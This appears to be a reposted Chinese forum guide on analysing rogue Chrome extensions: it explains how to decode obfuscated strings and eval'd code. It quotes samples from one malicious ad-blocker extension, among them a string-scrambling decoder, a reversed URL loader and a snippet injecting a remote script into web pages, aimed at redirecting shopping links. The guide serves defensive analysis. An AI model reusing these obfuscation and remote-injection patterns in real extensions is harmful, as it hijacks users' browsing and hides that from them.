zvv

chrome 分析恶意 流氓扩展


chrome恶意扩展主要采用如下一些方式来执行可疑代码:

一、js没有对代码进行任何特殊处理,直接可以从代码里读出所执行的功能,如果你对代码一窍不通的话,可以通过搜索关键字来了解是否有可疑行为,使用文本编辑软件(我个人用notepad2,可以通过颜色看出文本的类型,如字符串显示为绿色,正则表达式为棕色还是土黄色?)来查看代码,主要查看绿色的字符串和棕色的正则式,不需要懂正则式,因为通常他们不会把要匹配的字符串或网址在正则式里进行特殊处理,所以跟字符串一样能很容易的看出有效内容,然后看这些字符串里是否含有checkout、account、shop等明显的涉及网银、帐号等的字符或是一些如淘宝、天猫、亚马逊等交易类网站的网址关键字,如果有的话就要慎重使用了,具体是否危险,可以看看代码里是否有replace之类的替换方法来替换链接里的关键字,另外看看代码里有没有加载第三方网址和js,通常是http://开头的字符串,具体这些第三方网址或js是否危险只能查看这些网页或js的源码来判断了

二、将关键功能的代码顺序打乱,根据某个自定义函数来把这样的代码进行组合并执行。这样的代码可以在notepad2查看,看看里面的字符串数据:

如果字符串类似base64;image/png,…之类的表示的是base64编码的图片,这是安全的;

如果字符串很长,无标点,无符号,只有a-z0-9字符的话通常是安全的(当然也有可能是被很复杂的方法进行了编码或排序,这种情况下我也没办法了);

如果字符串里含有标点或有%、0x、\u、\x等之类的话很有可能是对字符串进行了编码转换,这个时候可以看看这个字符串是否使用了一个自定义的函数进行处理:

1、例如视频广告杀手-优酷广告杀手土豆广告杀手,爱奇艺广告https://chrome.google.com/websto ... kgfpipnonjehcmcieeo扩展,里面的my.js有个

  1. if (tab.url.indexOf(dd('w.wdwgsutre.rcoom','cf84')) > -1 &&tab.url.indexOf(dd('atidc','c822')) > -1&&tab.url.indexOf(dd('cmohreknli','38c4'))< 0&&tab.url.indexOf(dd('hceckout','a16d'))< 0&&tab.url.indexOf(dd('ocucant','ccbd'))< 0&&tab.url.indexOf(dd('tphts3/%A/','7ac1'))< 0&&tab.url.indexOf(dd('sohpping','33bd'))< 0&&tab.url.indexOf(dd('feudalt','a4a9'))< 0)
复制代码
,被’’引号引用的部分就是字符串,这些字符串很乱,不是正常的单词,而这个字符串被一个dd函数调用,而查看js里的dd函数,如下
  1. function dd(a,k){var arr = a.split('');var str_key='';var key=parseInt('0x'+k).toString();for(i in key){str_key+=‘$’+key[i];}var ret=a['erlpcae'['replace'](/(.)(.)/g, '$2$1')](/(.)(.)(.)(.)(.)/g,str_key);return unescape(ret);};
复制代码
函数的具体功能不需要太在意,可以简单的看出这个函数的功能仅仅是对字符串本身进行转换处理,而不是以字符串为参数执行某一些实际有用的操作,通常来说如果作者是想防抄袭的话会对代码的执行流程和代码指令等进行加密或重新编码或重排列或其他更高级的方法来隐藏指令,而不是仅对字符串参数进行处理,所以这个时候基本可以看出这个扩展想要执行一些不想让人知道的操作,说明这个脚本的功能很可疑,如果想要进一步的查看到底是执行了哪些操作,可以在Chrome的审查元素-console栏里复制那个dd函数,然后例如要查看
dd('w.wdwgsutre.rcoom','cf84')
所代表的内容,就在那个dd函数之后添加
console.log(dd('w.wdwgsutre.rcoom','cf84'))
即添加到console.log()里回车即可打印出
  1. www.drugstore.com
复制代码
,其他类似的都可以采用这样的方法得到原始代码,然后再对代码进行排查;

2、例如还是这个扩展,里面的background.js里有个
a.open("GET","sj.gol/gol/moc.oatiahi5.emorhc//:ptth".split("").reverse().join(""),!0);
大家可以看出来这个字符串很像更网址,但顺序很乱,实际上这个字符串是把一个网址倒序排列了,然后使用split(“”)把字符串分割放到数组里,再使用reverse()(用来倒序排列数组)函数来把数组再倒序排列,最后用join(“”)把数组组合成字符串,简单的方法可以把"sj.gol/gol/moc.oatiahi5.emorhc//:ptth".split("").reverse().join("")放到console.log()里打印出
  1. http://chrome.5ihaitao.com/log/log.js
复制代码
这个结果;

3、例如还是这个扩展,里面的showicon.js里有个var _$=的定义,后面的内容可以看到是由很多网址或关键字组成的数组,然后后面出现了多个replace、chrome.webRequest.onBeforeRequest.addListener等方法用来替换指定的网站或关键字,(这里简单的说下,扩展通过manifest文件来定义某个html或js的作用,如果js是在content_scripts字段里,说明这个js是直接加载在网页里的,即只能在指定网页里加载生效;如果html或js由这个html调用在popup里是由通过点击来触发操作;如果html或js或这个js由这个html调用的被放在background字段里,说明这个js是一个独立进程,且这个js不会对网页内容执行操作,(除非js里使用了chrome.tabs.executeScript方法在指定标签注入代码,或使用chrome.extension.onRequest.addListener等方法与js进行信息传递,一般比较少见,这里不做更多讨论),这个js通常是用来对浏览器全局进行操作的,如对各个标签进行一些操作:新建标签、修改、关闭等,地址栏或工具栏添加图标和点击触发一些操作等,添加鼠标右键菜单,修改地址栏里的地址等,而这个showicon.js正在background进程里,并且其他background的代码里也没有chrome.tabs.executeScript和chrome.extension.onRequest.addListener等,所以里面的代码不会对网页内容产生影响)其中replace方法很显然是对地址栏里的地址进行替换,这个替换过程是显式的,即可以看到明显的跳转和页面刷新过程,而其中也使用了chrome.webRequest.onBeforeRequest.addListener和webRequest.onBeforeSendHeaders.addListener来直接修改资源请求的数据头,也就是跟referchange扩展的方法一样,来在后台隐式的加载替换后的链接,当然这里不是说replace和webRequest.onBeforeSendHeaders.addListener等方法有问题,而是说这个js执行的操作是把用户的操作转向了_$里定义的网址,而从这些网址和要替换的关键字可以看出这个js很危险;

4、例如还是这个扩展,里面的runtb.js,前面的部分应该是jquery代码,有点复杂,看不懂,但后面的
$(document).ready(function(){
var href = location.href;
console.log(href);
if( href.indexOf("www.baidu.com") > 0)           {addbaidu();}
else if( href.indexOf("tieba.baidu.com/p/") > 0)     {addtieba();}
else if(href.indexOf("google.com.hk") > 0)   {addgg();}
else if(href.indexOf("hao123.com") > 0)   {addhao123();}
else if(href.indexOf("hao.360.cn") > 0)   {add360();}
else if(href.indexOf("2345.com") > 0)   {add2345();}
else if(href.indexOf("www.bilibili.tv") > 0)   {addbb();}
});
部分以及下面的具体的addx函数可以很清楚的看出来是要在这些网站里添加一个网站的推广,既然是推广我就不给出具体网址了,大家可以自己去扩展里看把;

5、例如还是这个扩展,里面的contentScripts.js,前面的代码貌似没什么问题,但在最后在页面里加载了一个第三方的js
var s = document.createElement('script');
        s.type = 'text/javascript';
         s.async = true;
        s.src = 'http://chrome.5ihaitao.com/cnzz.js';
        document.body.appendChild(s);
(说实话,真的很感谢这个作者让我对代码的编写艺术有了更深的理解);

6、例如有的js里有个eval(重新运算求出参数的内容),而里面的内容比较复杂也比较乱,不是普通的字符串,这个时候可以把eval改成console.log,然后把整个代码复制到审查元素里即可打印出代码的本来面目,有的可能进行了多次转换,如果打印出的代码里仍有eval就继续改成console.log来打印,最终会得到正常形式的代码,这里有详述http://bbs.kafan.cn/forum.php?mo ... &fromuid=735385

7、例如爱奇艺去45秒广告,里面bg.js的内容很复杂,倒不是说代码执行的操作复杂,而是把所有的关键指令都进行了编码(例如\uXXXX、\xXX之类的格式)并放在一个自定义的数组里,然后在下面的代码里通过数组索引来调用,可以把这个数组整个放到console.log里打印出正常的字符串,然后再根据下面的数组索引来把相应指令替换进去,过程比较繁琐,替换完后就可以看看是否有replace等替换操作了。而这个js里的数组打印出来后可以看到它请求了一个外部的js http://mnybag.b0.upaiyun.com/bootstrapmin.js,在浏览器里打开这个js后得出的代码格式与这个bg.js一样,需要转换一下数组里的编码,而这个js里有请求两个外部的地址:http://baidu-analytics.com/minad_baidu.jshttp://s.click.taobao.com/t_js。。。;

8、


目前我遇到的类型就这些,其他的待补充。。。

欢迎大家指正。


另外,还有一些经验,打开扩展界面多看看介绍(非中文版的扩展相对而已一般会安全些,因为老外又不会对淘宝等返利有兴趣吧,当然这也不是绝对的),然后看评价,通常来说,扩展是开源的,多半也是非盈利性质的,也就是说大部分作品的靠的是作者的热心,所以他们通常也就不会王婆卖瓜自卖自夸了,评论里的内容多半差别就会比较大,因为毕竟大家难得登录商店(你懂的)也就不会像逛论坛、贴吧之类的去灌水吧,回复的评论自然是自己的看法了,那么如果评论里清一色的只夸扩展,而很少使用反馈,且这样的评论很集中,这就可能是有人在刷好评了

via。http://bbs.kafan.cn/thread-1576290-1-1.html

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »

因本文不是用Markdown格式的编辑器书写的,转换的页面可能不符合AMP标准。